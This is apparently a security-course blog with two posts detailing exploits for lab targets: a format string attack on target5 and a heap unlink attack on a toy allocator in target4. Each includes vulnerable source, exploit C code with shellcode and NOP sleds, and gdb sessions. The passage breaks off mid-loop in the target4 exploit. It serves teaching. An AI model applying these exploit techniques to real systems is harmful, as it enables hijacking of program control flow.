Blog Bug's

bugging blogs

on Target 5…

Suggested readings :
Exploiting Format String Vulnerabilities
On Target 1

Examining /tmp/target5 in Detail

code of executable /tmp/target5 (target5.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[400];
  snprintf(buf, sizeof buf, arg);
  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target5: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);

  return 0;
}

Like sploits 1 to 3, below is a sample code (sploit5.c) to exploit the code above :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target5"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[400];
  int i;
  int addr;
  char * fmt_str;

  for(i = 0; i < 400; i++) {
    if(i < 399) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Having read the articles suggested above, below is sample starting code to exploit the code (target4.c‘s) above :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target5"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[400];
  int i;
  int addr;
  char * fmt_str;

  addr = 0xaaaaaaaa;
  fmt_str = "%08x%n";
  for(i = 0; i < 400; i++) {
    if(i < 4) {
      *(buf + i) = addr >> (i * 8); // <address>
    } else if(i < (399 - strlen(fmt_str))) {
      *(buf + i) = 'a'; // <any byte>
    } else if(i < 399) {
      memcpy(buf + i, fmt_str, strlen(fmt_str)); // <format string>
      i += strlen(fmt_str) - 1;
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

One of the readings suggest the pattern <address><any byte><%08x>+<%n> to be snprintf‘ed to buf (on target5.c) and effectively overwrite the contents at address by %n with the number of bytes already printed. The critical part is correctly guessing the number of %08x so that the stack pointer points to the address of buf.

Use gdb to examine foo‘s frame.

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4200/exe
/proc/4200/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4200]
[Switching to process 4200]

Breakpoint 2, foo (arg=0xbffffe5f "����", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) info frame
Stack level 0, frame at 0xbffffcf0:
 eip = 0x804843d in foo (target5.c:8); saved eip 0x80484c1
 called by frame at 0xbffffd10
 source language c.
 Arglist at 0xbffffce8, args: arg=0xbffffe5f "����", 'a' <repeats 196 times>...
 Locals at 0xbffffce8, Previous frame's sp is 0xbffffcf0
 Saved registers:
  ebp at 0xbffffce8, eip at 0xbffffcec
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) x 0xbffffce8
0xbffffce8:	0xbffffd08
(gdb) x 0xbffffcec
0xbffffcec:	0x080484c1
(gdb) x 0xbffffcf0
0xbffffcf0:	0xbffffe5f

Below is visualization of foo‘s frame :

[                    -local_var-                          ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                                 ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|...                                    ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[00|00|00|00|...                                    ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data
|-----------------------400 bytes-------------------------|

And our input buffer should look like below :

[aa|aa|aa|aa|61|61|61|61|...   ...|61|25|30|38|78|25|6E|00] -> buffer data
< address  ><        any byte       >< format string  ><00>
|-4 bytes--||-----------------------||-----6 bytes-----|
|----------------------399 bytes-----------------------|

where:
% - '\x25'    8 - '\x38'    n - '\x6E'
0 - '\x30'    x - '\x78'    a - '\x61'

If one %08x were enough to make the stack pointer point to the address of buf (on foo‘s frame) and we use address 0xbffffb5c (4 bytes after address of buf) to address above, after a call to snprintf() on foo function should make foo‘s frame look like below :

[                    -local_var-                          ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                                 ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|5c|5d|5e|5f|...                        ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[5c|fb|ff|bf|91|01|00|00|...                        ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data

%n should write 0x00000191 (401 bytes – 4 bytes address + 389 bytes ‘a’ + 8 bytes %08x ) to address 0xbffffb5c. But using gdb suggests that one %08x is not enough and causes the target5 to crash. The reason is that the stack pointer might point before the address of buf and with address content that is not writable for %n.

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4229/exe
/proc/4229/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4229]
[Switching to process 4229]

Breakpoint 2, foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) finish
Run till exit from #0  foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8

Program received signal SIGSEGV, Segmentation fault.
0xb7ec5018 in vfprintf () from /lib/i686/cmov/libc.so.6

Let’s try two %08x and our buffer should look like below :

[5c|fb|ff|bf|61|61|61|61|...   ...|61|25|30|38|78|25|30|38|78|25|6E|00] -> buffer data
< address  ><        any byte       ><       format string        ><00>
|-4 bytes--||-----------------------||----------10 bytes-----------|
|---------------------------399 bytes------------------------------|

where:
% - '\x25'    8 - '\x38'    n - '\x6E'
0 - '\x30'    x - '\x78'    a - '\x61'

After a call to snprintf() on foo function, foo‘s frame should look like below :

[                    -local_var-                          ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                                 ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|5c|5d|5e|5f|...                        ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[5c|fb|ff|bf|95|01|00|00|...                        ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data

%n should write 0x00000195 (401 bytes – 4 bytes address + 385 bytes ‘a’ + 16 bytes two %08x ) to address 0xbffffb5c. Again, using gdb suggests that two %08x are not enough and still cause target5 to crash. Let’s try three %08x and %n should write 0x00000199 (409 bytes – 4 bytes address + 381 bytes ‘a’ + 24 bytes three %08x ) to address 0xbffffb5c. Now using gdb confirms that it works this time (see below).

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4253/exe
/proc/4253/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4253]
[Switching to process 4253]

Breakpoint 2, foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) info frame
Stack level 0, frame at 0xbffffcf0:
 eip = 0x804843d in foo (target5.c:8); saved eip 0x80484c1
 called by frame at 0xbffffd10
 source language c.
 Arglist at 0xbffffce8, args: arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...
 Locals at 0xbffffce8, Previous frame's sp is 0xbffffcf0
 Saved registers:
  ebp at 0xbffffce8, eip at 0xbffffcec
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) x/2x 0xbffffb58
0xbffffb58:	0x00000000	0x00000000
(gdb) finish
Run till exit from #0  foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
main (argc=2, argv=0xbffffda4) at target5.c:21
21	in target5.c
Value returned is $1 = 0
(gdb) x/2x 0xbffffb58
0xbffffb58:	0xbffffb5c	0x00000199
(gdb) x/4x 0xbffffb50
0xbffffb50:	0x00000000	0x00000000	0xbffffb5c	0x00000199

Thus, with one %08x, the stack pointer is pointing to 0xbffffb50 and %n is trying to write on address 0x00000000 (see lines 45 and 46 above). We confirmed here why the previous attempts crashed the program.

Our goal is to use foo‘s eip address on address, so we effectively change its (foo‘s eip) value. We know that contents before buf are all zeros (‘0x00‘), using %u%u%u (note that both %u and %x fetches 4 bytes of memory and should move the stack pointer equivalently) instead of %08x%08x%08x should print 000 instead of 000000000000000000000000.

Our problem now, is to control the number of bytes written by %n. To control it we use %u%u%0wu where w is the (width) minimum number of digits %u should be printed, i.e. %u%u%08u should print 10 zero’s (0‘s). Now we can control what %n writes. If we wish foo‘s eip to point 4 bytes after buf, i.e. 0xbffffb5c, we should determine w so that it will be near 0xbffffb5c (note that we should also consider bytes before the format string %u%u%0wu%n of input buffer).  0xbffffb5c is 3221224284 in decimal. Lets start with 3221223902 (we only count bytes before %n ), since :

 |---4 bytes----||--376 bytes--||3221223904 bytes-|   -> bytes printed
"\x5c\xfb\xff\xbfaaa...     ...a%u%u%03221223902u%n"
 |---4 bytes----||--376 bytes--||----19 bytes-----|   -> string length
 |-------------------399 bytes--------------------|

Examine foo‘s frame with gdb :

user@box:~/pp1/sploits$ gdb -e sploit5 -s /tmp/target5
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit5
Executing new program: /proc/4664/exe
/proc/4664/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804843d: file target5.c, line 8.
(gdb) continue
Continuing.
[New process 4664]
[Switching to process 4664]

Breakpoint 2, foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
8	target5.c: No such file or directory.
	in target5.c
(gdb) x buf
0xbffffb58:	0x00000000
(gdb) finish
Run till exit from #0  foo (arg=0xbffffe5f "\\���", 'a' <repeats 196 times>...) at target5.c:8
main (argc=2, argv=0xbffffda4) at target5.c:21
21	in target5.c
Value returned is $1 = 0
(gdb) x/2x 0xbffffb58
0xbffffb58:	0xbffffb5c	0x0000017f

Maybe 3221223902 is too large for width. We should consider the only first three bytes of eip, i.e. hex 0xbffffb– which is 12582907 in decimal. And start with 12582523, since :

 |---4 bytes----||--378 bytes--||12582525 bytes-|   -> bytes printed
"\x5c\xfb\xff\xbfaaa...     ...a%u%u%012582523u%n"
 |---4 bytes----||--378 bytes--||---17 bytes----|   -> string length
 |-------------------399 bytes------------------|

The goal now is make the address point to 1 byte after eip. Basically we are overwriting the first three bytes of address in eip (actually last three bytes in memory) and hoping the last byte (c1) is in the range of our buf, i.e. on or after 0xbffffb5c. So, we will need to change address 0xbffffb5c to 1 byte after address of eip which is 0xbffffced.

All in all, our buffer should look like below :

[                 -local_var-                 ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffb--                                     ][bffffc--   ][bffffc--   ][bffffc--   ]  -> first 3 bytes of addresses
[58|59|5a|5b|5c|5d|5e|5f|...            ...|e7][e8|e9|ea|eb][ec|ed|ee|ef][f0|f1|f2|f3]  -> last bytes of addresses
[00|00|00|00|00|00|00|00|...            ...|00][08|fd|ff|bf][c1|84|04|08][5f|fe|ff|bf]  -> data

[ed|fc|ff|bf|90|...                     ...|00]                                         -> buffer data
< address  ><nop><shellcode><format string><00>
|-------------------400 bytes-----------------|

To implement, below is a sample edit of the for loop in sploit5.c :

  addr = 0xbffffced;
  fmt_str = "%u%u%012582523u%n";
  for(i = 0; i < 400; i++) {
    if(i < 4) {
      *(buf + i) = addr >> (i * 8); // <address>
    } else if(i < (399 - strlen(fmt_str) - strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < (399 - strlen(fmt_str))) {
      *(buf + i) = shellcode[i - 399 + strlen(fmt_str) + strlen(shellcode)]; // <shellcode>
    } else if(i < 399) {
      memcpy(buf + i, fmt_str, strlen(fmt_str)); // <format string>
      i += strlen(fmt_str) - 1;
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (8)

on Target 4…

Suggested readings :
Once upon a free()…
On Target 1

Examining /tmp/target4 in Detail

code of executable /tmp/target4 (tmalloc.h, tmalloc.c, and target4.c respectively) :

 /*
 * Trivial malloc() implementation
 *
 * Inspired by K&R2 malloc() and Doug Lea malloc().
 */

void *tmalloc(unsigned nbytes);
void tfree(void *vp);
void *trealloc(void *vp, unsigned newbytes);
void *tcalloc(unsigned nelem, unsigned elsize);
 /*
 * Trivial malloc() implementation
 *
 * Inspired by K&R2 malloc() and Doug Lea malloc().
 */

#include <string.h>

#ifdef NULL   /* these days, defined in string.h */
#undef NULL
#endif

#define NULL 0

/*
 * the chunk header
 */
typedef double ALIGN;

typedef union CHUNK_TAG
{
  struct
    {
      union CHUNK_TAG *l;       /* leftward chunk */
      union CHUNK_TAG *r;       /* rightward chunk + free bit (see below) */
    } s;
  ALIGN x;
} CHUNK;

/*
 * we store the freebit -- 1 if the chunk is free, 0 if it is busy --
 * in the low-order bit of the chunk's r pointer.
 */

/* *& indirection because a cast isn't an lvalue and gcc 4 complains */
#define SET_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r |=  0x1 )
#define CLR_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r &= ~0x1 )
#define GET_FREEBIT(chunk) ( (unsigned)(chunk)->s.r & 0x1 )

/* it's only safe to operate on chunk->s.r if we know freebit
 * is unset; otherwise, we use ... */
#define RIGHT(chunk) ((CHUNK *)(~0x1 & (unsigned)(chunk)->s.r))

/*
 * chunk size is implicit from l-r
 */
#define CHUNKSIZE(chunk) ((unsigned)RIGHT((chunk)) - (unsigned)(chunk))

/*
 * back or forward chunk header
 */
#define TOCHUNK(vp) (-1 + (CHUNK *)(vp))
#define FROMCHUNK(chunk) ((void *)(1 + (chunk)))

/* for demo purposes, a static arena is good enough. */
#define ARENA_CHUNKS (65536/sizeof(CHUNK))
static CHUNK arena[ARENA_CHUNKS];

static CHUNK *bot = NULL;       /* all free space, initially */
static CHUNK *top = NULL;       /* delimiter chunk for top of arena */

static void init(void)
{
  bot = &arena[0]; top = &arena[ARENA_CHUNKS-1];
  bot->s.l = NULL; bot->s.r = top;
  top->s.l = bot;  top->s.r = NULL;
  SET_FREEBIT(bot); CLR_FREEBIT(top);
}

void *tmalloc(unsigned nbytes)
{
  CHUNK *p;
  unsigned size;

  if (bot == NULL)
    init();

  size = sizeof(CHUNK) * ((nbytes+sizeof(CHUNK)-1)/sizeof(CHUNK) + 1);

  for (p = bot; p != NULL; p = RIGHT(p))
    if (GET_FREEBIT(p) && CHUNKSIZE(p) >= size)
      break;
  if (p == NULL)
    return NULL;

  CLR_FREEBIT(p);
  if (CHUNKSIZE(p) > size)      /* create a remainder chunk */
    {
      CHUNK *q, *pr;
      q = (CHUNK *)(size + (char *)p);
      pr = p->s.r;
      q->s.l = p; q->s.r = pr;
      p->s.r = q; pr->s.l = q;
      SET_FREEBIT(q);
    }
  return FROMCHUNK(p);
}

void tfree(void *vp)
{
  CHUNK *p, *q;

  if (vp == NULL)
    return;

  p = TOCHUNK(vp);
  CLR_FREEBIT(p);
  q = p->s.l;
  if (q != NULL && GET_FREEBIT(q)) /* try to consolidate leftward */
    {
      CLR_FREEBIT(q);
      q->s.r      = p->s.r;
      p->s.r->s.l = q;
      SET_FREEBIT(q);
      p = q;
    }
  q = RIGHT(p);
  if (q != NULL && GET_FREEBIT(q)) /* try to consolidate rightward */
    {
      CLR_FREEBIT(q);
      p->s.r      = q->s.r;
      q->s.r->s.l = p;
      SET_FREEBIT(q);
    }
  SET_FREEBIT(p);
}

void *trealloc(void *vp, unsigned newbytes)
{
  void *newp = NULL;

  /* behavior on corner cases conforms to SUSv2 */
  if (vp == NULL)
    return tmalloc(newbytes);

  if (newbytes != 0)
    {
      CHUNK *oldchunk;
      unsigned bytes;

      if ( (newp = tmalloc(newbytes)) == NULL)
        return NULL;
      oldchunk = TOCHUNK(vp);
      bytes = CHUNKSIZE(oldchunk) - sizeof(CHUNK);
      if (bytes > newbytes)
        bytes = newbytes;
      memcpy(newp, vp, bytes);
    }

  tfree(vp);
  return newp;
}

void *tcalloc(unsigned nelem, unsigned elsize)
{
  void *vp;
  unsigned nbytes;

  nbytes = nelem * elsize;
  if ( (vp = tmalloc(nbytes)) == NULL)
    return NULL;
  memset(vp, '\0', nbytes);
  return vp;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include "tmalloc.h"

/*
 * strlcpy() from OpenBSD-current:
 * $OpenBSD: strlcpy.c,v 1.5 2001/05/13 15:40:16 deraadt Exp $
 *
 * Copy src to string dst of size siz.  At most siz-1 characters
 * will be copied.  Always NUL terminates (unless siz == 0).
 * Returns strlen(src); if retval >= siz, truncation occurred.
 *
 * HINT: This come from OpenBSD; there is no buffer overflow within
 *       this function; the bug is somewhere else ...
 */
static size_t
obsd_strlcpy(dst, src, siz)
        char *dst;
        const char *src;
        size_t siz;
{
        register char *d = dst;
        register const char *s = src;
        register size_t n = siz;

        /* Copy as many bytes as will fit */
        if (n != 0 && --n != 0) {
                do {
                        if ((*d++ = *s++) == 0)
                                break;
                } while (--n != 0);
        }

        /* Not enough room in dst, add NUL and traverse rest of src */
        if (n == 0) {
                if (siz != 0)
                        *d = '\0';              /* NUL-terminate dst */
                while (*s++)
                        ;
        }

        return(s - src - 1);    /* count does not include NUL */
}

int foo(char *arg)
{
  char *p;
  char *q;

  if ( (p = tmalloc(500)) == NULL)
    {
      fprintf(stderr, "tmalloc failure\n");
      exit(EXIT_FAILURE);
    }
  if ( (q = tmalloc(300)) == NULL)
    {
      fprintf(stderr, "tmalloc failure\n");
      exit(EXIT_FAILURE);
    }

  tfree(p);
  tfree(q);

  if ( (p = tmalloc(1024)) == NULL)
    {
      fprintf(stderr, "tmalloc failure\n");
      exit(EXIT_FAILURE);
    }

  obsd_strlcpy(p, arg, 1024);

  tfree(q);

  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target4: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);

  return 0;
}

Neither overflow methods of sploit1 nor sploit2 will work on this case. By examining target4.c’s code, you will never find a local buf in any function that we hope to overflow and overwrite either the function-frame’s ebp or eip. On line 72 of target4.c, obsd_strlcpy(p, arg, 1024) suggests that we can construct a code like below, hoping to exploit the program above.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target4"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[1024];
  int i;
  int dummy_r, chnk_l, chnk_r;

  for(i = 0; i < 1024; i++) {
    if(i < 1023) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

What’s odd with the code (target4.c’s) is the call tfree(q) on line 74, without calling tmalloc() first for q and thus might provide some room for a bug. Using gdb to examine addresses especially of p and q, we will notice that q‘s address is within the address space of p (1024 bytes). p‘s start address is at 0x08049c48 (see line 52 below) and q‘s address is at 0x08049e48 (see line 58 below). p’s address space ranges from 0x08049c48 to 0x0804a047. Clearly, q is within that (p‘s) range and it (q) is 512 bytes from p.

user@box:~/pp1/sploits$ gdb -e sploit4 -s /tmp/target4
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit4
Executing new program: /proc/3253/exe
/proc/3253/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x80484f4: file target4.c, line 54.
(gdb) break obsd_strlcpy
Breakpoint 3 at 0x804846a: file target4.c, line 24.
(gdb) break tfree
Breakpoint 4 at 0x80487fc: file tmalloc.c, line 103.
(gdb) continue
Continuing.
[New process 3253]
[Switching to process 3253]

Breakpoint 2, foo (arg=0xbffffbef 'a' ...) at target4.c:54
54	target4.c: No such file or directory.
	in target4.c
(gdb) info frame
Stack level 0, frame at 0xbffffa80:
 eip = 0x80484f4 in foo (target4.c:54); saved eip 0x8048668
 called by frame at 0xbffffaa0
 source language c.
 Arglist at 0xbffffa78, args: arg=0xbffffbef 'a' ...
 Locals at 0xbffffa78, Previous frame's sp is 0xbffffa80
 Saved registers:
  ebp at 0xbffffa78, eip at 0xbffffa7c
(gdb) continue
Continuing.

Breakpoint 4, tfree (vp=0x8049c48) at tmalloc.c:103
103	tmalloc.c: No such file or directory.
	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 4, tfree (vp=0x8049e48) at tmalloc.c:103
103	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 3, obsd_strlcpy (dst=0x8049c48 "", src=0xbffffbef 'a' ..., siz=1024) at target4.c:24
24	target4.c: No such file or directory.
	in target4.c
(gdb) continue
Continuing.

Breakpoint 4, tfree (vp=0x8049e48) at tmalloc.c:103
103	tmalloc.c: No such file or directory.
	in tmalloc.c

Another observation is that foo‘s frame is on address space 0xbffff*** range and with p‘s address space, i.e. 0x08049*** range, it (p) is too far to overflow like we used to in sploit1 or sploit2. We have to look for the bug somewhere else. tfree() is a good place to start with.

Examining tfree() in Detail

Lines 20 to 28 of tmalloc.c suggest that the structure of a chunk is :

[  -left-   ][  -right-  ][   -data-    ]
[xx|xx|xx|xx][xx|xx|xx|xx][00|... ...|00]  -> data
|--4 bytes--||--4 bytes--||---n bytes---|

Now on tfree() (lines 99 to 126) of tmalloc.c, the following lines (118, 121, and 122) are interesting :

  .
  .
  .
  if (q != NULL && GET_FREEBIT(q)) /* try to consolidate leftward */
    {
      ...
      q->s.r      = p->s.r;
      p->s.r->s.l = q;
      ...
      ...
    }
  .
  .
  .

Basically, the code above unlinks p from q (previous chunk) and updates all left and right links of affected chunks such that the previous next chunk of p becomes next chunk of q. A sample visualization is provided below. Take note that the right link of q, the last bit is 1 to satisfy GET_FREEBIT(q) as true, i.e. valid bytes are *1,*3, *5,*7,*9,*b,*d,*f.

### after, q != NULL && GET_FREEBIT(q) ###
...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]...
...[aaaaaa--                               ]... ...[bbbbbb--                               ]... ...[cccccc--                               ]...  -> address range
...[xx|xx|xx|xx][bb|bb|bb|b1][00|... ...|00]... ...[aa|aa|aa|xx][cc|cc|cc|xx][00|... ...|00]... ...[bb|bb|bb|xx][xx|xx|xx|xx][00|... ...|00]...  -> data
                      q                                               p                                               o

### after, q->s.r = p->s.r ###
...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]...
...[aaaaaa--                               ]... ...[bbbbbb--                               ]... ...[cccccc--                               ]...  -> address range
...[xx|xx|xx|xx][cc|cc|cc|xx][00|... ...|00]... ...[aa|aa|aa|xx][cc|cc|cc|xx][00|... ...|00]... ...[bb|bb|bb|xx][xx|xx|xx|xx][00|... ...|00]...  -> data
                      q                                               p                                               o

### after, p->s.r->s.l = q ###
...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]... ...[  -left-   ][  -right-  ][   -data-    ]...
...[aaaaaa--                               ]... ...[bbbbbb--                               ]... ...[cccccc--                               ]...  -> address range
...[xx|xx|xx|xx][cc|cc|cc|xx][00|... ...|00]... ...[aa|aa|aa|xx][cc|cc|cc|xx][00|... ...|00]... ...[aa|aa|aa|xx][xx|xx|xx|xx][00|... ...|00]...  -> data
                      q                                               p                                               o

We can use this part of code to our advantage. Take note that p above is the actually q in target4.c since we called this function as tfree(q) on target4.c. Remember that actual q in target4.c is within actual p‘s (in target4.c) address space and when we call obsd_strclpy(p, arg, 1024) to overwrite bytes on p, we can overwrite left and right links of actual q. The idea is to let actual q’s (p in tfree()) right link to point to foo-frame’s eip and its (q‘s) left link to actual p (in target4.c, and also start of buffer). In this way, we can overwrite effectively foo-frame’s eip with p which is also the start of buffer.

Let’s use gdb again to examine foo‘s frame, addresses of p & q, and try to construct our buffer.

user@box:~/pp1/sploits$ gdb -e sploit4 -s /tmp/target4
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit4
Executing new program: /proc/3345/exe
/proc/3345/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x80484f4: file target4.c, line 54.
(gdb) break tfree
Breakpoint 3 at 0x80487fc: file tmalloc.c, line 103.
(gdb) continue
Continuing.
[New process 3345]
[Switching to process 3345]

Breakpoint 2, foo (arg=0xbffffbef 'a' <repeats 200 times>...) at target4.c:54
54	target4.c: No such file or directory.
	in target4.c
(gdb) info frame
Stack level 0, frame at 0xbffffa80:
 eip = 0x80484f4 in foo (target4.c:54); saved eip 0x8048668
 called by frame at 0xbffffaa0
 source language c.
 Arglist at 0xbffffa78, args: arg=0xbffffbef 'a' <repeats 200 times>...
 Locals at 0xbffffa78, Previous frame's sp is 0xbffffa80
 Saved registers:
  ebp at 0xbffffa78, eip at 0xbffffa7c
(gdb) x 0xbffffa70
0xbffffa70:	0xb7f9da09
(gdb) x 0xbffffa74
0xbffffa74:	0x08049bd4
(gdb) x 0xbffffa78
0xbffffa78:	0xbffffa98
(gdb) x 0xbffffa7c
0xbffffa7c:	0x08048668
(gdb) x 0xbffffa80
0xbffffa80:	0xbffffbef
(gdb) continue
Continuing.

Breakpoint 3, tfree (vp=0x8049c48) at tmalloc.c:103
103	tmalloc.c: No such file or directory.
	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 3, tfree (vp=0x8049e48) at tmalloc.c:103
103	in tmalloc.c
(gdb) continue
Continuing.

Breakpoint 3, tfree (vp=0x8049e48) at tmalloc.c:103
103	in tmalloc.c

A visualization of foo‘s frame :

[     -local_var-       ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffa--               ][bffffa--   ][bffffa--   ][bffffa--   ]  -> first 3 bytes of addresses
[70|71|72|73|74|75|76|77][78|79|7a|7b][7c|7d|7e|7f][80|81|82|83]  -> last bytes of addresses
[09|da|f9|b7|d4|9b|04|08][98|fa|ff|bf][68|86|04|08][ef|fb|ff|bf]  -> data

A visualization of our buffer (note the use of jmp (eb) instruction since <fake_right> is not a valid assembly instruction, we should skip those bytes) :

[   left    |   right   ][data...             ][   left    |   right   ][data...        ]
[90|90|eb|03|xx|xx|xx|x1][90|...              ][48|9c|04|08|7c|fa|ff|bf][xx|...   ...|00] -> buffer
[<fill><jmp>|<fake_rght>][<nop>... <shellcode>][<left>...  |<right>... ][<filler>... |00]
|-----------------------------512 bytes--------------------------------|
|---------------------------------------1024 bytes--------------------------------------|

to implement, below is a sample edit of the for loop in sploit4.c :

  chnk_l = 0x08049c48;
  chnk_r = 0xbffffa7c;
  dummy_r = chnk_r + 1;
  for(i = 0; i < 1024; i++) {
    if(i < 2) {
      *(buf + i) = '\x90'; // <filler>
    } else if(i < 4) {
      memcpy((buf + i),"\xeb\x03",2); // <jump>
      i++;
    } else if(i < 8){
      *(buf + i) = dummy_r >> ((i - 4) * 8); // <fake right>
    } else if(i < (504 - strlen(shellcode))){
      *(buf + i) = '\x90'; // <nop>
